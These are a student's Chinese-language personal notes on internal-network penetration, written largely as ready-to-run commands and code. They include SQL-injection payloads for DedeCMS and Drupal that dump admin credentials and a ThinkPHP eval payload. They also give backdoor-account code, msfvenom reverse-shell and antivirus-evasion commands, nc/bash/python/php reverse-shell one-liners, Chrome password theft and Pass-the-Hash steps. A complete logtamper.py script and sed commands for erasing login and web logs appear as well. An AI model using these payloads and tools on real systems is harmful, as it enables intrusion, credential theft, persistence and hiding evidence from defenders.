内网渗透笔记

大一脑子进水报了卓越班,放暑假了还在这坐大牢,做一天和尚撞一天钟,记个笔记让我这个月有点收获吧(


信息收集

nmap

1
2
3
4
5
6
7
-P 指定扫描端口
-O 操作系统检测
-A 操作系统版本检测
-PE/PP/PM 使用ICMP echo/ICMP timestamp/ICMP netmask请求包发现主机
-PS/PA/PU/PY 使用TCP SYN/TCP ACK/SCTP INIT/ECHO方式进行发现
-sV 服务版本扫描
-sn xxx.xxx.xxx.xxx/24 C段扫描

.git泄露

如果存在/.git页面则存在git泄露

GitHack

1
python GitHack.py http://192.168.xxx.xxx/.git

.svn泄露

如果存在/.svn页面则存在svn泄露

1
python SvnExploit.py -u http://192.168.xxx.xxx/.svn --dump

burpsuite

intruder爆破

域名收集

subDomainsBrute 子域名枚举

1
python3 subDomainsBrute.py xxxxxxxxxxxxxxxxx

搜索引擎

1
site: xxxxxxxxxxxxx

Sublist3r-master 第三方聚合服务

1
python sublist3r.py -d xxxxxx -o xxxxxx.txt

证书透明信息 https://crt.sh

获取真实IP

  1. ping

  2. nslookup

1
2
nslookup xxxxxxx 8.8.8.8
nslookup xxxxxxx 114.114.114.114

漏洞分析

web漏洞扫描

nikto 扫描器

1
nikto -host http://xxxxxxxxxxxxxxx

sqlmap

1
sqlmap -u http://xxxxxx --level 3

弱口令扫描

Hydra

1
2
3
-l 指定单个用户名
-L 指定多个用户名文件
-P 指定多个密码文件
1
2
hydra -U ssh
hydra xxx.xxx.xxx.xxx ssh -l root -P 'xxxxxxxxxx' -V

Metasploit

1
2
3
4
5
6
7
8
9
10
msfconsole 进入metasploit
search ssh_login 搜索相关模块
use xxxxxxxxxxxxxxx 使用某模块
show options 展示配置参数

set rhost xxx.xxx.xxx.xxx
set user_file /root/user.txt
set pass_file /root/pass.txt
set threads 5
run

google hacking

1
2
3
4
5
6
7
8
9
10
11
12
13
14
intext: 正文关键字
intitle: 标题关键字
allintitle: 多个标题关键字
inurl: url关键字
allinurl: 多个url关键字
site: 指定访问站点
filetype: 文件类型
link: 指定链接
related: 布局相似
cache: 谷歌快照
info: 指定信息
define: 词语定义
phonebook: 电话信息
Index of: 发现允许目录浏览的web网站

Shodan

搜索引擎

系统漏洞扫描

Nessus

1
2
/etc/init.d/nessusd start
netstat -ntpl | grep nessus

本地访问即可

MetaSploitFramework

同上利用即可

web渗透测试

dedecms

测试payload

1
http://xxx.xxx.xxx.xxx/plus/search.php?keyword[ uNion ]=a

Request Error step 1 !

1
/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

Request Error step 2 !

1
/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

Drupalcms

sql注入payload

爆库

1
pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a

爆表

1
lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,(SELECT table_name FROM information_schema.tables WHERE table_schema like database() limit 70,1)),0)%23]=bob&name[0]=a

爆字段

1
lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema like database()and table_name like ‘users’ )),0)%23]=bob&name[0]=a

爆内容

1
lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,substring((SELECT group_concat(name,’’,pass) FROM users),1,60)),0)%23]=bob&name[0]=alol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema like database()and table_name like ‘users’ )),0)%23]=bob&name[0]=a

struts2

ThinkPHP2

路由解析问题

1
2
http://xxx.xxx.xxx.xxx/index.php?s=a/b/c/${@phpinfo()}
http://xxx.xxx.xxx.xxx/index.php?s=a/b/c/${@print(eval($_POST[1]))}

攻防技术

SQL

注就完了

XSS

1
<script>alert(1)</script>

CSRF

绕过防火墙

http协议覆盖绕过(编码等)

pipline绕过(一次发俩包)

分块传输绕过(把post部分分块)

权限提升

Linux

环境变量劫持

在root的SUID下的程序里调用cat,新建一个cat,写进去shell,再把环境变量写在前面去,然后回去运行,即可拿到shell

计划任务

1
cat /etc/crontab

内核漏洞

搜就完事

SUID

1
find / -user root -perm -4000 -exec ls -ldb {} \;

利用find可以执行其他命令等

Windows

PATH环境变量配置错误

exp.c

1
2
3
4
5
6
7
8
#include<stdlib.h>
int main()
{
int i;
int j;
i=system("net user as Admin@123. /add");
j=system("net localgroup administrator as /add");
}
1
i686-w64-mingw32-gcc exp.c -o Common.exe -mwindows

编译成ipconfig.exe丢入PATH下,执行命令即可

Trusted Service Paths

把上面的exp编译成Common.exe,放在含有空格的地方等待重启即可

计划任务

写入restart.bat里等

第三方

Serv-U

exp直接入(

先修改ServUDaemon.ini注册文件,直接加个用户上去,然后ftp连接加进管理员hack

1
2
quote site exec net user hack Admin@123. /add
quote site exec net localgroup administrators hack /add

权限维持

Windows

隐藏账户

在用户名称后面加$即可隐藏

1
net user hack$ 123456Pp. /add && net localgroup administrators hack$ /add

可去管理/配置/本地用户和组/用户中查看

编辑注册表

从注册表里导出,替换F字段的值,下次直接导入注册表即可

shilft后门

1
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

覆盖掉粘滞快捷键即可

Windows隐藏文件

1
2
attrib test.txt +s +h
attrib test.txt -s -h -r

其他

注册表启动键值、Windows启动项、Windows计划任务、sc命令创建新服务

Linux

SSHD软连接

1
2
3
cat /etc/ssh/sshd_config | grep UsePAM
mkdir /run/sshd
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=1234

其他

启动项、计划任务、SUID后门、公钥免密登陆、Strace后门、进程注入

免杀技术

Metasploit

编码器免杀

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=2222 -e x86/shikata_ga_nai -b “\x00” -i 16 -f exe -o test.exe
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=2222 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 10 -f raw |msfvenom -e x86/countdown -a x86 --platform windows -i 10  -f exe -o test1.exe
1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=2222 -e x86/shikata_ga_nai-x /root/nppInstaller.exe -i 5 -f exe -o nppinstaller2.exe

upx套壳

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=2222 -e x86/shikata_ga_nai –i 10 –f exe –o upxtest.exe
1
upx -5 upxtest.exe –k

MSF开启监听

1
2
3
4
5
6
use exploit/multi/handler
set payload <payload_name>
set LHOST <lhost_value>
set LPORT <lport_value>
set exitonsession false
exploit -j -z

生成二进制后门

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
1
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

生成web后门

1
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.phpcat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

生成脚本后门

1
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
1
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jspmsfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

生成shellcode后门

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
1
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

msfvenom常用的使用格式命令

普通生成

1
msfvenom -p -f -o msfvenom -p windows/meterpreter/reverse_tcp -f exe -o C:\back.exe

编码处理型

1
msfvenom -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikata_ga_nai -f exe -o C:\back.exe

捆绑

1
msfvenom -p windows/meterpreter/reverse_tcp -platform windows -a x86 -x C:\nomal.exe -k -f exe -o C:\shell.exe

Windows

1
2
msfvenom -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikata_ga_nai -f exe -o C:\back.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o C:\back.exe

Linux

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf

Mac

1
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho

PHP

1
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php

Asp

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp

Aspx

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f aspx > shell.aspx

Jsp

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

War

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war

Bash

1
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT=-f raw > shell.sh

Perl

1
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl

Python

1
msfvenom -p python/meterpreter/reverser_tcp LHOST= LPORT= -f raw > shell.py

其他权限维持

使用msf在主机上注册一个服务,上传服务启动文件,隐藏等

渗透框架

Metasploit

编写shell反弹工具,拿到shell后和稳定程序绑定

内网渗透代理

Lcx端口转发

1
攻击机--主机A(1.1.1.2)---防火墙---主机B(192.168.1.2)

跳板机转发

1
2
3
portmap -m 2 -p1 3950 -h2 1.1.1.2 -p2 3951
Lcx.exe –listen 3950 3951
将公网服务器的3950端口监听的数据转发到3951

靶机转发

1
2
lcx.exe -slave 1.1.1.2 3950 192.168.1.2 3389
将靶机的3389转发到公网服务器的3950上

ssh端口转发

1
2
3
4
5
6
7
-C: 请求压缩所有数据
-D: port 指定一个本地机器动态的应用程序端口转发
-f: 要求在执行命令前退至后台
-g: 允许远端主机连接本地转发的端口
-L: 将本地机(客户机)的某个端口转发到远端指定机器的指定端口
-N: 不执行远程命令. 用于转发端口.
-R: 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口

本地转发

1
攻击机--主机A(1.1.1.2)---防火墙---主机B(192.168.1.2)
1
2
ssh -L 1111:192.168.1.2:80 -fN 1.1.1.2
利用公网跳板机将192.168.1.2的80端口转发到1.1.1.2的1111端口

远程转发

1
2
攻击机(1.1.1.1)---防火墙---主机B(192.168.1.2)
|--主机A(192.168.1.1)
1
2
ssh -R 1111:192.168.1.2:80 -fN 1.1.1.1
利用内网跳板机将192.168.1.2的80端口转发到1.1.1.1的1111端口

动态转发

1
攻击机---主机A(1.1.1.2)---防火墙---主机B(192.168.1.2)
1
ssh -D 1080 -DfNg 1.1.1.2

利用proxychains代理即可

反弹shell

1
2
3
4
5
6
7
-c: 指定连接后要执行的shell命令
-e: 指定连接后要执行的文件名
-k: 配置Socker一直存活
-l: 监听模式
-p: 指定端口
-u: 启动UDP协议传输
-v: 显示指令执行过程

nc正向shell

1
2
nc -lvvp 1111 -e /bin/bash
监听本地1111端口,连接成功执行/bin/bash

nc反向shell

1
nc -e /bin/bash 1.1.1.1 1111

bash反弹shell

1
bash -i >& /dev/tcp/${HOST}/${POST} 0>&1

python反弹shell

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("${HOST}",${POST}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

php反弹shell

1
php -r '$sock=fsockopen("${HOST}",${POST});exec("/bin/sh -i &3 2>&3");'

隐秘隧道搭建

FRP

服务器配置

frps.ini

1
2
3
4
5
6
[common]
bind_port = 7000 # 要绑定的端口

dashboard_user = admin # 控制台的用户名
dashboard_pwd = admin # 控制台的密码
dashboard_port = 6500 # 控制台的端口
1
frps -c frps.ini

客户端设置

frpc.ini

1
2
3
4
5
6
7
8
9
[common]
server_addr = 192.168.100.101 #代理服务器ip地址
server_port = 7000 #代理服务器设置绑定的端口

[rdp] # 反向代理名称
type = tcp # 协议类型
local_ip = 107.0.0.1 # 本机ip地址
local_post = 3389 # 远程桌面的默认端口
remote_post = 6005 # 对外访问的端口
1
frps -c frps.ini

mstsc.exe远程桌面直接连接192.168.122.18:6005即可

EarthWorm

正向代理

1
ew_for_Win.exe -s ssocksd -l 888

之后利用Proxifier代理即可

reGeorg

1
python reGeorgSocksProxy.py -l 192.168.122.17 -p 8080 -u http://192.168.122.18/tunnel.nosocket.php

之后利用Proxifier代理即可,设置代理规则applicationspython.exeActionDirect

内网常见攻击

MS17-010等

利用msf远程利用即可

网络设备漏洞

路由器常见漏洞

命令执行\未授权访问\拒绝服务\自带后门

钓鱼攻击

Cobalt Strike钓鱼、Swaks配合CS钓鱼、Word/Excel宏钓鱼、PPSX钓鱼(PPT动作特性构造)、文件名反转、重定向钓鱼、自解压等

后渗透

本机信息收集

常用cmd指令

net user 查看本机用户
net user /domain 查看域内用户
tasklist 查看当前进程
netstat -ano 查看端口列表
systeminfo 查看修补程序
wmic qfe list full 查看补丁信息

查看域信息

计算机右键属性即可

用户习惯

  1. 计划任务 【开始】→【管理工具】→【任务计划程序】
  2. 最近打开的文档 C:\Users\Administrator\Recent
  3. 收藏夹
  4. 文件搜索
  5. 历史记录等

密码收集

  1. mimikatz
  2. 谷歌浏览器密码库 C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Login Data,使用SQLiteStudio打开等

域控攻击

MS14-068

漏洞利用步骤:

  1. 获取SID whoami /user
  2. 生成伪造票据 ms14-086.exe -u (域用户@域) -p (域用户密码) -s (sid) -d (ac_ip)
  3. 删除缓存票据 klist purge
  4. 导入票据获取域控权限 kerberos::ptc 自定义命名.ccache
  5. 尝试列举域控C盘文件 dir \\dc.really.com\c$

MS14-025

在利用“MS14-025”漏洞开始之前需先知道利用失败或者出错可能是什么原因造成的,一般存在以下几种原因:

A.安装了GPP凭证补丁:KB2962486,这个补丁禁止在组策略配置中填入密码,补丁查询命令systeminfo查询是否有安装“KB2962486”补丁。
B.不在组策略中使用域控密码。
C.SYSVOL文件夹访问权限。
D.可能没使用GPP配置。

漏洞利用步骤:

  1. 判断SYSVOL文件夹访问权限。
  2. 查找XML文件。 Groups.xml
  3. 解密XML文件中加密的密码信息。 cpassword

Pass the Hash

在使用NTLM身份验证的系统或服务上,用户密码永远不会以明文形式通过网络发送。本机Windows应用程序要求用户提供明文密码,然后调用LsaLogonUser 之类的API,将该密码转换为一个或两个哈希值(LM或NT哈希),然后在NTLM身份验证期间将其发送到远程服务器。对这种机制的分析表明,成功完成网络身份验证不需要明文密码,只需要哈希即可。

如果攻击者具有用户密码的哈希值,则无需强行使用明文密码;可以简单地使用已经收获的任意用户帐户的哈希值来针对远程系统进行身份验证并模拟该用户。换句话说,从攻击者的角度来看,哈希在功能上等同于生成的原始密码。

攻击步骤:

1
2
3
4
5
1、获取NTLM Hash
privilege::debug 提升为debug权限
sekurlsa::logonpasswords 显示最近登录过的用户和最近登录过的计算机的凭证
2、hash传递
sekurlsa::pth /user:用户 /domain:域 /ntlm:hash

Ntml Hash获取

利用Responder工具,(搭建SMB服务、SQL服务器、FTP、HTTP等)

1
responder -I eth0

image-20220714160306097

域权限维持

  1. 使用黄金票据
  2. SSP权限维持
  3. Memory Updateing of SSPs权限维持
  4. GPO组策略权限维持

域信息收集

常用cmd命令

net view /domain 查看当前存在几个域
net time /domain 查看域时间及域服务器的名字
ipconfig /all 可查询DNS服务器
ping xxx.com 获取域控制器IP,或者nslookup、set type=a、really.com
net group “Domain Controllers” /domain 查看域控主机名称
net group “domain admins” /domain 查看域管理员

痕迹清除

Linux日志

history 查看命令历史记录
history -c 清除命令历史记录

设置不记录历史命令

1
2
3
4
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG
export HISTFILE=/dev/null
export HISTSIZE=0
export HISTFILESIZE=0

w 查看utmp日志

利用logtamper工具进行删除

1
python logtamper.py –m 1 –u root –i 192.168.122.16

w 查看wtmp日志

同上

1
python logtamper.py –m 2 –u root –i 192.168.122.16

lastlog 查看lastlog日志

将上次登录事件修改为2018年9月24日10:11:12

1
python logtamper.py –m 3 –u root –i 192.168.122.16 –t tty1 –d 2018:09:24:10:11:12

logtamper.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/usr/bin/env python
# -*- coding:utf-8 -*-

import os, struct, sys
from pwd import getpwnam
from time import strptime, mktime
from optparse import OptionParser

UTMPFILE = "/var/run/utmp"
WTMPFILE = "/var/log/wtmp"
LASTLOGFILE = "/var/log/lastlog"

LAST_STRUCT = 'I32s256s'
LAST_STRUCT_SIZE = struct.calcsize(LAST_STRUCT)

XTMP_STRUCT = 'hi32s4s32s256shhiii4i20x'
XTMP_STRUCT_SIZE = struct.calcsize(XTMP_STRUCT)


def getXtmp(filename, username, hostname):
xtmp = ''
try:
fp = open(filename, 'rb')
while True:
bytes = fp.read(XTMP_STRUCT_SIZE)
if not bytes:
break

data = struct.unpack(XTMP_STRUCT, bytes)
record = [(lambda s: str(s).split("\0", 1)[0])(i) for i in data]
if (record[4] == username and record[5] == hostname):
continue
xtmp += bytes
except:
showMessage('Cannot open file: %s' % filename)
finally:
fp.close()
return xtmp


def modifyLast(filename, username, hostname, ttyname, strtime):
try:
p = getpwnam(username)
except:
showMessage('No such user.')

timestamp = 0
try:
str2time = strptime(strtime, '%Y:%m:%d:%H:%M:%S')
timestamp = int(mktime(str2time))
except:
showMessage('Time format err.')

data = struct.pack(LAST_STRUCT, timestamp, ttyname, hostname)
try:
fp = open(filename, 'wb')
fp.seek(LAST_STRUCT_SIZE * p.pw_uid)
fp.write(data)
except:
showMessage('Cannot open file: %s' % filename)
finally:
fp.close()
return True


def showMessage(msg):
print msg
exit(-1)


def saveFile(filename, contents):
try:
fp = open(filename, 'w+b')
fp.write(contents)
except IOError as e:
showMessage(e)
finally:
fp.close()


if __name__ == '__main__':
usage = 'usage: logtamper.py -m 2 -u root -i 192.168.0.188\n \
logtamper.py -m 3 -u root -i 192.168.0.188 -t tty1 -d 2015:05:28:10:11:12'
parser = OptionParser(usage=usage)
parser.add_option('-m', '--mode', dest='MODE', default='1' , help='1: utmp, 2: wtmp, 3: lastlog [default: 1]')
parser.add_option('-t', '--ttyname', dest='TTYNAME')
parser.add_option('-f', '--filename', dest='FILENAME')
parser.add_option('-u', '--username', dest='USERNAME')
parser.add_option('-i', '--hostname', dest='HOSTNAME')
parser.add_option('-d', '--dateline', dest='DATELINE')
(options, args) = parser.parse_args()

if len(args) < 3:
if options.MODE == '1':
if options.USERNAME == None or options.HOSTNAME == None:
showMessage('+[Warning]: Incorrect parameter.\n')

if options.FILENAME == None:
options.FILENAME = UTMPFILE

# tamper
newData = getXtmp(options.FILENAME, options.USERNAME, options.HOSTNAME)
saveFile(options.FILENAME, newData)

elif options.MODE == '2':
if options.USERNAME == None or options.HOSTNAME == None:
showMessage('+[Warning]: Incorrect parameter.\n')

if options.FILENAME == None:
options.FILENAME = WTMPFILE

# tamper
newData = getXtmp(options.FILENAME, options.USERNAME, options.HOSTNAME)
saveFile(options.FILENAME, newData)

elif options.MODE == '3':
if options.USERNAME == None or options.HOSTNAME == None or options.TTYNAME == None or options.DATELINE == None:
showMessage('+[Warning]: Incorrect parameter.\n')

if options.FILENAME == None:
options.FILENAME = LASTLOGFILE

# tamper
modifyLast(options.FILENAME, options.USERNAME, options.HOSTNAME, options.TTYNAME , options.DATELINE)

else:
parser.print_help()

Web日志

Apache日志

find / -name *access*log 搜索全部日志
sed –i ‘s/192.168.122.18/192.168.122.17/’ /var/log/httpd/access.log 将访问IP为192.168.122.18的地址替换为192.168.122.17
sed–i‘/192.168.122.17/’d /var/log/httpd/access.log 删除访问IP为192.168.122.17的记录

IIS日志

CleanIISLog

1
CleanIISLog.exe u_ex201008.log 192.168.122.18

用工具就行了,略

Windows日志

利用MSF

runevent_manager –i 查看日志及其配置信息
clearev 清除系统日志


好!学完啦!撒花!(悲

垃圾卓越班

如题,垃圾卓越班,狗都不来(